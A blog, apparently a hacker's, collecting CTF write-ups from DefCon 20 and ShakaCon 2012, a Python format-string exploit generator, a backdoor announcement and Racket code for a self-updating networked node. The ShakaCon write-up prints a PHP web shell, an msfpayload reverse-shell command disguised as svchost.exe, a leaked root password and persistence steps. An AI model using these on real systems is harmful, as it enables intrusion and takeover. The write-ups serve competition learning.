Tuesday, October 9, 2012

Exploit Harvesting at DefCon 20 CTF


The setting for this scenario was DefCon 20 “Capture The Flag” in Las Vegas.  Each server was set up with a spanning port so that each team could see traffic for their server, and we had a notification system set up so that if we saw one of our secret keys going off the wire, our packet capture system would dump the last minute of traffic into a PCAP file for analysis.  We will focus on an exploit that was detected against a service named “coney”.

Once the exploit was seen on the wire, the packet captures revealed the following:


(The red is sent from the attacker and the blue is the server response.)  The key is the 32-byte ASCII sequence on the 5th from the bottom line, which is what triggered the notification system that the service was being exploited.  So, analyzing the packet capture, there is a question response system:
ATTACKER: “I’m internet famous!\n” (authentication)
SERVER: 16-byte key
SERVER: “enter ip:”
ATTACKER: “dc20:c7f:2012:f:0:0:0:22” (attacker’s IP for the server to connect back to)
SERVER: “knock knock!”
ATTACKER: 32-byte key (authentication)
ATTACKER: (exploit)
SERVER: key + adjacent RAM

The first problem to overcome is that the server gives the client a 16-byte key, but expects a 32 byte one in order to reach the vulnerable code-path.  Upon observation, the keys change every connection, governed by /dev/urandom.  Running this shows that the server is kind enough to send 2 UDP packets 24 bytes long to the IPv6 address specified by the attacker.  Each UDP packet has the same 16-byte key that was in the original connection, but appended is another 8 bytes.  Concatenated together {original 16 byte key} + {8 byte key from UDP1} + {8 byte key from UDP2} == 32-byte key to get to the exploitable code.  Unfortunately, the UDP packets sent to the attacker are sent to random addresses.  The potential for guessing the ports is one pathway to pursue to solve this problem, but the easy (and most quickly implemented) is to listen on all UDP ports 1-65535.  We now know how to reach the exploitable code path and can go about dis-assembling the exploit!


From just a cursory look, the exploit is sandwiched in-between a NOP sled and a bunch of return addresses.  The many 0xBA’s result in 5-byte instructions “0xBA 0xBABABABA”, in assembly: mov dx, 0xBABABABA.  We can assume this is a sled for EIP to hit once the overflow happens, and the 0x16ce9595’s at the end are the part of an overflow that overwrites a return address and causes execution to land in the sled.

Note, the theme of the contest is “everything sheep”, and so the creators of the exploit paid homage to the contest organizers with their “BA BA” sled.

The next step is to extract the exploit and analyze it.  Sometimes this is not the simplest process, as most exploits rely on weird little tricks to compensate for the lack of knowledge about where they are in memory space.  Here is a sample disassembly in IDA: 
and since I don't have a big monitor and it chopped the bottom:


Without looking those far jumps and calls, we can assume the following:
1.     Since the exploit has its strings imbedded in it, it needs to get a reference to the stack so it can use them for function calls.  The string at 0x03e4 -> 0x03f7 could be such a string.
2.     The exploit has to either get references to the import table so that it can call functions that the program uses, or it has to call absolute addresses to do things.  In this case, it looks like it is using an absolute reference to the programs function table.
3.     From the packet capture, the key is printed out, and then some RAM.  This could be two things: the key has been read into memory adjacent to the exploit’s reference to the key file or the key file has been referenced by the program and the exploit is just using a reference to the string to call a read.  We will assume the former, and not the latter (for the moment).

The first jump is most likely a call to a reference giving instruction inside of the programs TEXT segment to get the address of the stack.  The next two calls we can determine by the following criteria: The exploit does not have another string of bytes inside of it (indicating it doesn’t overwrite our key), so we can assume the exploits goal is to print out the key file in the current working directory, and the key is 32-bytes long (0x20 hex).  It then needs to print out this key on the current socket.  So, the following calls are needed:
1.     file_handle = OPEN(“/home/coney/key”, “r”)
2.     storage_area = READ(file_handle, 32 bytes)
3.     WRITE(socket_handle, &storage_area)
4.     Exit / crash

Near the bottom of the exploit listing, there are 3 interesting adds: 0x4f474542 + 0x4f444549 + 0x81534f41.  The potential exists that, despite IDA saying that those instructions are valid, it is actually a string.  Pulling the last 32 bytes and brute force xor’ing them revealed that following about the last 15 bytes: “^EBEGO^EIEDOS^EAOS” xor 0x2a == “/home/coney/key”.  That would be the string needed for the OPEN call.

Re-analyzing the program in light of this in IDA reveals the following:

With this understanding, we can see that the program jumps down to the bottom (0x000003e4) to get a reference to the stack, then back to the decryption section in the middle of the program, the decryption section xors the encrypted “/home/coney/key” string, then jumps to the OPEN call (0x000003a4), which then follows on to the read call (0x00003ac), then to the WRITE(socket, data) call (0x00003c5).

Now that the exploit is fully understood, re-using it is trivial.  Since the exploit is kind enough to re-use the socket file handle and write the key back onto it, there is no need to alter it in order to immediately start exploiting other team’s servers!  Overwriting their keys or gaining a shell is the next step, and since we know where code execution begins within the exploit, all we have to do is substitute the existing shell code with our own, making sure to respect the correct offsets and space requirements.

Friday, July 13, 2012

Those annoying format string exploits

Format string exploits are a pain to write manually.  And it's really easy to make an error, adjust a bunch of stuff, then realize that you had the wrong offset and everything needs to be re-calculated.  I got fed up tonight and (based off of the short (2 byte) write examples in this [Table 12-2]) wrote a little program to automate it for me.  I know there are many examples of this out there (@tlas toolbelt...etc), but I felt like I needed to go through the process to cement my understanding of it.  And I like python more than perl. SO:


#! /usr/bin/env python
from sys import argv
import struct


if len(argv) < 4:
 print 'usage:\n\t'+argv[0]+'  <addr_to_write_to>  <addr_to_write> <offset>'
 exit(0)

addr_to_write_to = int(argv[1], 16)
addr_to_wite     = int(argv[2], 16)
offset           = int(argv[3])

HOB = int((addr_to_wite & 0xffff0000) >> 16)
LOB = int((addr_to_wite & 0x0000ffff))

s = ''
if (HOB < LOB):
 s += struct.pack('<I', addr_to_write_to+2)
 s += struct.pack('<I', addr_to_write_to)
 s += '%.'+str(HOB-8)+'x'
 s += '%'+str(offset)+'$hn'
 s += '%.'+str(LOB-HOB)+'x'
 s += '%'+str(offset+1)+'$hn'
elif (HOB > LOB):
 s += struct.pack('<I', addr_to_write_to+2)
 s += struct.pack('<I', addr_to_write_to)
 s += '%.'+str(LOB-8)+'x'
 s += '%'+str(offset+1)+'$hn'
 s += '%.'+str(HOB-LOB)+'x'
 s += '%'+str(offset)+'$hn'
else: #HOB == LOB
 s += struct.pack('<I', addr_to_write_to+2)
 s += struct.pack('<I', addr_to_write_to)
 s += '%.'+str(HOB-8)+'x'
 s += '%'+str(offset)+'$hn'
 s += '%.'+str(0x10000)+'x'
 s += '%'+str(offset+1)+'$hn'

print s

Tuesday, July 3, 2012

PyAgent 1.0

Hurray!  After months of being ignored, I've finally gotten around to cleaning up and refactoring PyAgent.  For those of you who do not know what this is, this is a post exploitation agent to be used once a system has been compromised to maintain access to  allow for a  more interactive and developer friendly backdoor (as opposed to meterpreter, whilst much more sexy, is written in assembly with ruby strains).

And yes, PyAgent is essentially a ripoff of meterpreter by rapid 7 and or hydrogen by canvas.  But it's in python, open sourced (on BitBucket and Serenity-Blue), and modifiable in a clean format (adding functionality is SUPER easy).  So, here you go:

http://serenity-blue.com/PyAgent/index.html

Thursday, June 28, 2012

ShakaCon 2012 - The writeups

I've finally gotten around to write-ups for ShakaCon 2012.  The server that was set up to be attacked was 192.168.1.129 and the score server (which was hooked up to the projector in the conference) was 192.168.1.122, and we (all the attackers) were on 192.168.1.*

so, here we go:

Challenge 1 and challenge 2 were almost identical.  When you accessed the web root, you were presented with a login form, and the first thing I tried was just SQL injection.
 Admin
 '1==1;
logs you in.  OK, step 1 done.  Next you are presented with a gallery of images, and an upload form.  PHP upload vulnerabilities immediately come to mind.  It turns out that there is SOME filtering on the extension, but you can upload a simple PHP shell with a php extension:

lol777.php:

  <?php system($_GET['cmd']); ?>

and this got me a foothold onto the system.  I can run arbitrary commands like this:
  http://192.168.1.129/lol777.php?cmd=DIR /S c:\

Next, build a meterpreter exe:
  msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.108 X > svchost.exe

(with 192.168.1.108 being my x64 backtrack VM, note to self, change default passwords before these sorts of things)

next, set up the listening meterpreter session:


then run:
  http://192.168.1.129/lol777.php?cmd=svchost.exe


BOOM [shell] [pwned]

So, with my inner hacker being so lazy, and my inner computer scientist telling me to take the path of optimality, meterpreter has this AWESOME search function that looks at the entire harddrive to file files matching a simple regex.

BOOM [challenge 1 - PWNED]
BOOM [challenge 2 - PWNED]
BOOM [challenge 5 - PWNED]

Since the web service was running as administrator on the box, I priv. escalated to SYSTEM, migrated to process 604 (the winlogin process), set up persistence, and then popped a VNC shell.  I now have a GUI to play with, as well as the command line!

First thing, change the desktop background to something inconspicuous so that the admins wouldn't know they were pwned:
With that done, I have SYSTEM access, full GUI and full meterpreter control of the box.  Pretty much game over, but I was still behind in points.  My main competition (ari) was overwriting the flags faster than I was, so when the clock ticked I was not getting points. My initial (and VERY inelegant) solution was this:
which is a simple loop (for forever) to make an HTTP request using curl to overwrite the key file.  No delay.  Just as fast and as hard as possible.

This wasn't a very good solution because he built a PHP script (running on the server) to constantly overwrite the server.  Hmm....I'm almost DOS'ing the box at this point (hitting both web services), so I need to go for something better:


I created a batch file, and threw it on the desktop and ran it:

@ECHO OFF
:j
ATTRIB -s key_file
ATTRIB -r key_file
ECHO soen > key_file
ATTRIB +s key_file
ATTRIB +r key_file
goto j

This was remarkably effective.  I closed the point gap quite quickly, but I soon stalled when ari got another service (challenge 3).  DUE TO A KILLED REPORTING PROCESS WE DID NOT CHANGE IN POINT DISTANCE (*cough* *cough*).

But once that was fixed, I started closing in on ari.  He then took the tactic of killing all processes not essential to the system.  And looping it.  So, no CMD.exe, my batch immediately died.

OK

What can I do to combat this?  Well, ari was taking the tactic of remaining outside the system shell (he didn't have a good laptop apparently).  I had full SYSTEM and meterpreter access.  What can I do with that?

WINDOWS ACLS

using meterpreter, I can execute commands (as if I was on the command line), so I decided to go the route of using CACLS.EXE to modify permissions on the key files.  The funny thing with windows: even though you're an administrator on the box (like the web server was running), if you don't have the right permissions you can't do stuff.  You can take away permissions from administrators (essentially).  SO, I removed all write access to the file (except for SYSTEM), then overwrote it with my handle (so I would "capture" the flag).  I did this to Challenge 1,2,5 (because I could find their keys).

Ari, despite his escalations did not regain control of those flags for the rest of the game.


THIS IS THE STORY OF THOSE OTHER FLAGS

The initial nmap scan of the box turned up 80 [challenge 1], 8080 [challenge 2], 3306 [challenge 3], and 31337 [challenge 5].

So I went in for challenge 3 next.
              3306 == mysql
so I fired up mysqld on a nat'd VM and then ran mysql...hmmm...root access denied.
I needed to look around and see what I could gather for credentials.  Almost immediately I found a "config.php" file in the webroot, and inside were:

<?php

    $dbhost = '127.0.0.1';
    $dbuser ='root';
    $dbpass ='!@sh4k4c0nctf2012!@';

    $link = mysql_connect($dbhost, $dbuser, $dbpass);
    if(!$link){exit('Server Not Responding.');}

    $db = 'ctf';
    $connect = mysql_select_db($db, $link);
    if (!$connect) {exit('DB Not Responding.');}

?>
Pay dirt.  super easy.  So, I connect in, there's a database called CTF.  Tables are users, info?, and key.  
SELECT * from key;
--cannot perform this operation

damn.  So at this point, I realized that I suck at MySQL esoterica.  I know I need to quote that thing out but BLOODY HELL I tried a ton of stuff that didn't work.  AFTER DROPPING THE TABLE and recreating it because ari was evil and set the length of one of the fields to 3 (so that my flag, 4 characters, wouldn't go in) I finally get to this little MySQL script:

use ctf;
delete from ctf.key where contents="ari";
delete from ctf.key where contents="soen";
insert into ctf.key (md5,contents) VALUES("c3_de1fce8459e13f3dfee749f30ae15", "soen");
select * from ctf.key;

Updating the key was being a pain, so I took the elegant solution:
perl -e 'while (1) { sleep(1); system("mysql -h 192.168.1.129 -u root --password=\\!\@sh4k4c0nctf2012\\!\@ < update_flag"); }'

yup

another perl while loop.  I hate myself.  Anyways, that locked the flag down for me.  However, the point skews showed that ari would occasionally get the flag, so I needed to look for how he was doing it.  He cleverly inserted a simple statement into the index.php page in the webroot that everyone was hitting constantly, and it updated the SQL with his username.  I decided, such a well hidden script deserves to stay there, but I swapped our names in the script, so it would capture it for me.  After a few minutes of losing point spread, he found it and was nigh-frothing at the lips when he came over and chided me on hacking his scripts.  Lulz.  <3 ari.  ANYWAYS, that wraps it up for challenge #3.

[challenge 4]
there was an entry inside of the sql table that had a username and password.  i tried gmail.  it worked.  references to twitter account set up.  log in to twitter with same uid/pw, @pwned_by_soen.  pointz.

A cool thing inside of the email account that I found was that there was a bit of (what I first through was python) AutoIt script.  this turns out to be the source code to challenge 5.


[challenge 5]
I just realized I lost the source code and my exploit for it.  It was a udp php shell thingy.  pretty cool, imo.

SO, with all the challenges pwned and scripted, time for [challenge infinity]

or

[scoreserver_hacking]

So:

After poking around, and some chiding from the server admins for killing it, I found the reporting mechanism on the box.  The whole system looked like this:

[192.168.1.129] key_reporter.exe -> [192.168.1.122] score_updater -> POINTS

I looked at the file in IDA.  packed.  damn.  easy enough, though.  I threw it into ollydbg, set a breakpoint on pusha, and another on the next popa (Thanks @Danny_Quist (he's kind of a big deal) and TracerFire 4 malware reversing class for the tips).  I then dumped the binary, ran strings on it.  AutoIT in strings.  
/facepalm
/facepalm
/facepalm
/facepalm
[downloaded AutoIT EXE decompiler] -> [source .AU3]






Pretty simple.  There was a delay of 5 seconds at the bottom.  I removed it, and ran the script (hoping, since I pwned all services I would get a REDICulous amount of points.  No such luck, the score_updater only ticked once ever 10 seconds or something, and if there was no input from key_reporter it just kept the current point spread and added points to it.)

So, I started pulling out the little encryption routine to make a plugin for my SQL mapper.  

AT THIS POINT THE CONTEST ENDED

and since I'm lazy, I didn't finish hacking the score server.  /fat

But I won, so hey, who's complaining?

Grats to ari on second, he had a lot of evil tricks up his sleeve and made the escalation of evilness a ton of fun.  Fun times.

I grabbed the http logs and did a touch of data analysis on them, and this is what it came out to:
IPs sorted by number of queries
('192.168.1.132', 835863)
('192.168.1.111', 22445)
('192.168.1.106', 4287)
('192.168.1.110', 1893)
('192.168.1.137', 1296)
('192.168.1.148', 811)
('127.0.0.1', 577)
('192.168.1.114', 468)
('192.168.1.149', 401)
('192.168.1.141', 271)
('192.168.1.147', 177)
('192.168.1.100', 100)
('192.168.1.124', 82)
('169.254.203.92', 39)
('169.254.119.122', 31)
('192.168.1.144', 22)
('192.168.1.2', 13)
('192.168.1.142', 6)
('192.168.1.140', 4)
('192.168.1.108', 4)
('192.168.1.112', 4)
('', 1)

I was pretty happy about the 4 coming from my VM (*.108), but just take a GUESS at whos computer was *.132

all those damn while(1){HIT THE SERVER WITH A HAMMER} loops


FINAL SCORE:

Look at that point spread....mhmmyeahhhh.

/flex


Thanks S-DNA guys for putting it on.  I appreciate it a ton!

Mahalo,

Thursday, June 21, 2012

no big deal

Just won the ShakaCon CTF :D  Write-ups to follow alcohol!

Monday, June 18, 2012

0xSOEN

After talking to the blogspot.com peoples, I have unblocked this blog (apparently it was flagged for spam within seconds of me creating it and inserting no content...whatever).  The old blog I'm deleting in a few days.  I will resume posts, here, at 0xSOEN.blogspot.com

I was curious, your honor...


I picked up Racket, which is a Lisp variant,  with the intent on building a decentralized computing engine (for a security class, I didn't want to run JohnTheRipper distributed in the class because it seemed like a free ride, and I was in the class to learn, dammit).  So I wrote my own distributed cracker.  Then it turned into a botnet.  Then, it evolved into an operating system.  SO, that being set, the code has evolved with my interests over the course of time and has come into a rather (incomplete) working operating system that (once connected to other nodes) will update itself from other nodes and update other nodes (with either running processes or os patches).  Since it was a while since I created this, and it's been a while since I've looked at it, what I'm pasting may not be complete (but it should be).




  1. #lang racket/base
  2. (require racket/tcp)
  3. ;(require (lib "trace.ss"))
  4. (define SYSTEM_messages '())
  5. (define SYSTEM_processes '())
  6. (define SYSTEM_filesystem '(1))
  7. (define SYSTEM_efs '())
  8. (define SYSTEM_quit '())
  9. (define SYSTEM_kernel
  10.   (lambda ()
  11.     (begin
  12.       (SYSTEM_prep_kernel)
  13.       (SYSTEM_bootloader)
  14.       (do ((index 0 0))
  15.         ((eq? SYSTEM_quit 'quit) 'end)
  16.         (begin
  17.           (cond
  18.             ((null? SYSTEM_messages))
  19.             ((not (null? (car SYSTEM_messages)))
  20.              (begin
  21.                (SYSTEM_msg_handler (car SYSTEM_messages))
  22.                (set! SYSTEM_messages (cdr SYSTEM_messages))))))))))
  23. (define retrieve_index
  24.   (lambda (n d)
  25.     (cond
  26.       ((null? d) 'null)
  27.       ((eq? n 1) (car d))
  28.       (else
  29.        (retrieve_index (- n 1) (cdr d))))))
  30. (define SYSTEM_patches
  31.   (let ((patches '('patch_zero)))
  32.     (lambda a
  33.       (begin
  34.         (cond
  35.           ((eq? (car a) 'put) (set! patches (append patches (cdr a))))
  36.           ((eq? (car a) 'get) (retrieve_index (cadr a) patches))
  37.           ((eq? (car a) 'show) patches)
  38.           (else
  39.            'ERROR
  40.            ))))))
  41. (define SYSTEM_prep_kernel
  42.   (lambda ()
  43.     (begin
  44.       ;(SYSTEM_create_thread 'test '(lambda () (sleep 2) (display 7) (newline)))
  45.       ;(SYSTEM_create_thread 'updaterl '(lambda () (begin (updaterl))))
  46.       ;(SYSTEM_create_thread 'updaterc '(lambda () (begin (updaterc "192.168.0.3"))))
  47.       ;(SYSTEM_create_thread 'bsh bsh)
  48.       ;(SYSTEM_create_message 'quit)  
  49.       '()
  50.       )))
  51. (define SYSTEM_create_message
  52.   (lambda (a)
  53.     (cond
  54.       ((eq? a 'quit) (set! SYSTEM_messages (append SYSTEM_messages (list (list 'quit))))))))
  55. (define SYSTEM_kill_thread
  56.   (lambda (a)
  57.     (begin
  58.       (SYSTEM_kill_thread-helper a SYSTEM_processes))))
  59. (define SYSTEM_kill_thread-helper
  60.   (lambda (t plist)
  61.     (if (not (null? plist))
  62.         (let (((car plist)))
  63.           (cond
  64.             ((null? plist) '(thread not found))
  65.             ((eq? (car c) t)
  66.              (begin
  67.                (display (list 'killing 'thread t))
  68.                (kill-thread (car (cddr c)))))
  69.             (else
  70.              (SYSTEM_kill_thread-helper t (cdr plist))))) '())))
  71. (define SYSTEM_create_thread
  72.   (lambda (n t)
  73.     (set! SYSTEM_messages (append SYSTEM_messages (list (list 'thread (list n t)))))))
  74. (define SYSTEM_msg_handler
  75.   (lambda (message)
  76.     (begin
  77.       (cond
  78.         ((eq? (car message) 'thread)
  79.          (begin
  80.            (display `(loading thread ,(caadr message)))
  81.            (newline)
  82.            (set! SYSTEM_processes (append SYSTEM_processes (list (append (cadr message) (list (thread(eval (cadadr message))))))))
  83.            ))
  84.         ((eq? (car message) 'kill)
  85.          (begin
  86.            (SYSTEM_kill_thread (cdr message))
  87.            ;add a way to take this out of system processes
  88.            ))
  89.         ((eq? (car message) 'quit) (set! SYSTEM_quit 'quit))))))
  90. (define vversion 1)
  91. (define (updaterl)
  92.   (let (((tcp-listen 2000)))
  93.     (let-values (((sin sout) (tcp-accept l)))
  94.       (begin
  95.         (file-stream-buffer-mode sin 'none)
  96.         (file-stream-buffer-mode sout 'none)
  97.         (if (string=(symbol->string (read sin)) "update")
  98.             (begin
  99.               (write 'vversion? sout)
  100.               (newline sout)
  101.               (let* ((new_vversion (read sin)))
  102.                 (begin
  103.                   (cond
  104.                     ((> new_vversion vversion)
  105.                      (begin
  106.                        (write 'updateme sout) (newline sout)
  107.                        (write vversion sout) (newline sout)
  108.                        (SYSTEM_patches 'put (read sin))
  109.                        (set! vversion (+ vversion 1))))
  110.                     ((< new_vversion vversion)
  111.                      (begin
  112.                        (write 'updatingyou sout) (newline sout)
  113.                        (write (SYSTEM_patches 'get (+ new_vversion 1)) sout) (newline sout)))
  114.                     (else
  115.                      (write 'identical sout) (newline sout)))))) '())
  116.         (close-output-port sout)
  117.         (close-input-port sin)
  118.         (tcp-close l)
  119.         (SYSTEM_create_thread 'updater '(lambda () (begin (updaterl))))))))
  120. (define updaterc
  121.   (lambda (server)
  122.     (let-values (((sin sout) (tcp-connect server 2000)))
  123.       (begin
  124.         (file-stream-buffer-mode sin 'none)
  125.         (file-stream-buffer-mode sout 'none)
  126.         (write 'update sout)
  127.         (newline sout)
  128.         (read sin)
  129.         (write vversion sout)
  130.         (newline sout)
  131.         (let ((cmd (read sin)))
  132.           (begin
  133.             (cond
  134.               ((eq? cmd 'identical) (display '(identical)))
  135.               ((eq? cmd 'updateme)
  136.                (let ((previous_vversion (read sin)))
  137.                  (begin
  138.                    (write (SYSTEM_patches 'get (+ previous_vversion 1)) sout)
  139.                    (display `(patching server ,previous_vversion to ,vversion))
  140.                    (newline)
  141.                    (sleep 1)
  142.                    (updaterc server))))
  143.               ((eq? cmd 'updatingyou)
  144.                (begin
  145.                  (SYSTEM_patches 'put (read sin))
  146.                  (set! vversion (+ vversion 1))
  147.                  (display `(patching from ,(- vversion 1) to ,vversion))
  148.                  (newline)
  149.                  (updaterc server))))))))))
  150. (define SYSTEM_bootloader
  151.   (lambda ()
  152.     (begin
  153.       (if (not (file-exists? "fs"))
  154.           (begin
  155.             (display "Creating File System")(newline)
  156.             (SYSTEM_bootloader-write)) '())
  157.       (begin
  158.         (display "Loading Bootloader")(newline)
  159.         (set! SYSTEM_filesystem (SYSTEM_bootloader-load "fs"))
  160.         (display "Loading File System")(newline)
  161.         (set! SYSTEM_efs (cdr SYSTEM_filesystem))
  162.         (display "Loading Operating System")(newline)
  163.         (display (car (cdr (caar SYSTEM_filesystem))))))))
  164. (define SYSTEM_bootloader-write
  165.   (lambda ()
  166.     (let ((fport (open-output-file "fs")) (bl 'bootloader) (fs '(SYSTEM_create_thread 'bsh bsh)))
  167.       (begin
  168.         (print `(,bl ,fs) fport)
  169.         (close-output-port fport)))))
  170. (define SYSTEM_bootloader-load
  171.   (lambda (fname)
  172.     (let ((fport (open-input-file fname)))
  173.       (SYSTEM_bootloader-load_file fport))))
  174. (define SYSTEM_bootloader-load_file
  175.   (lambda (port)
  176.     (let ((rec (read port)))
  177.       (if (eof-object? rec)
  178.           '()
  179.           (cons rec (SYSTEM_bootloader-load_file port))))))
  180. (define BSH_quit 0)
  181. (define inp 0)
  182. (define bsh
  183.   (lambda ()
  184.     (begin
  185.       (do ((indexx 0 0))
  186.         ((eq? BSH_quit 1) 'bsh_killed)
  187.         (begin
  188.           (if (eq? BSH_quit 0) (set! inp (read)) '())
  189.           (cond
  190.             ((and (symbol? inp) (eq? inp 'shutdown)) (set!  SYSTEM_quit 'quit))
  191.             ((and (symbol? inp) (eq? inp 'quit)) (set! BSH_quit 1))
  192.             (else
  193.              (begin
  194.                (display (eval inp))
  195.                (newline))))))
  196.       (SYSTEM_kill_thread 'bsh))))
  197. (define file_read
  198.   (lambda (fname)
  199.     (read_fs_helper fname SYSTEM_filesystem)))
  200. (define read_fs_helper
  201.   (lambda (fname flist)
  202.     (cond
  203.       ((null? flist) '(file not found))
  204.       ((eqv? fname (caar flist)) (car (cdr (car flist))))
  205.       (else
  206.        (read_fs_helper fname (cdr flist))))))
  207. (define file_write
  208.   (lambda (fname fdata)
  209.     (write_fs_helper fname fdata '() SYSTEM_filesystem)))
  210. (define write_fs_helper
  211.   (lambda (fname fdata flistL flistR)
  212.     (cond
  213.       ((null? flistR) (set! SYSTEM_filesystem (append SYSTEM_filesystem `(,`(,fname ,fdata)))))
  214.       ((eqv? fname (caar flistR)) (set! SYSTEM_filesystem `(,`,(append flistL (list (cons fname (consfdata (cdr flistR))))))))
  215.       (else
  216.        (write_fs_helper fname fdata (append flistL (car flistR)) (cdr flistR))))))
  217. (define clear_fs_cache
  218.   (lambda ()
  219.     (let ((fport (open-output-file "fs" 'truncate)) (fs SYSTEM_filesystem))
  220.       (begin
  221.         (print fs fport)
  222.         (close-output-port fport)
  223.         '()))))
  224. (define update
  225.   (lambda (a)
  226.     (begin
  227.       (SYSTEM_patches 'put a)
  228.       (set! vversion (+ vversion 1))
  229.       `(current patch level is ,vversion))))
  230. (define node_start
  231.   (lambda ()
  232.     (SYSTEM_create_thread 'updaterl '(lambda () (begin (updaterl))))))
  233. (define node_connect
  234.   (lambda (n)
  235.     (SYSTEM_create_thread 'updaterc '(lambda () (begin (updaterc n))))))
  236. (define help
  237.   (lambda ()
  238.     (begin
  239.       (display '(node_start)) (newline)
  240.       (display '(node_connect "IP")) (newline)
  241.       (display '(update '(code))) (newline)
  242.       (display '(clear_fs_cache)) (newline)
  243.       '()
  244.       )))
  245.  (SYSTEM_kernel)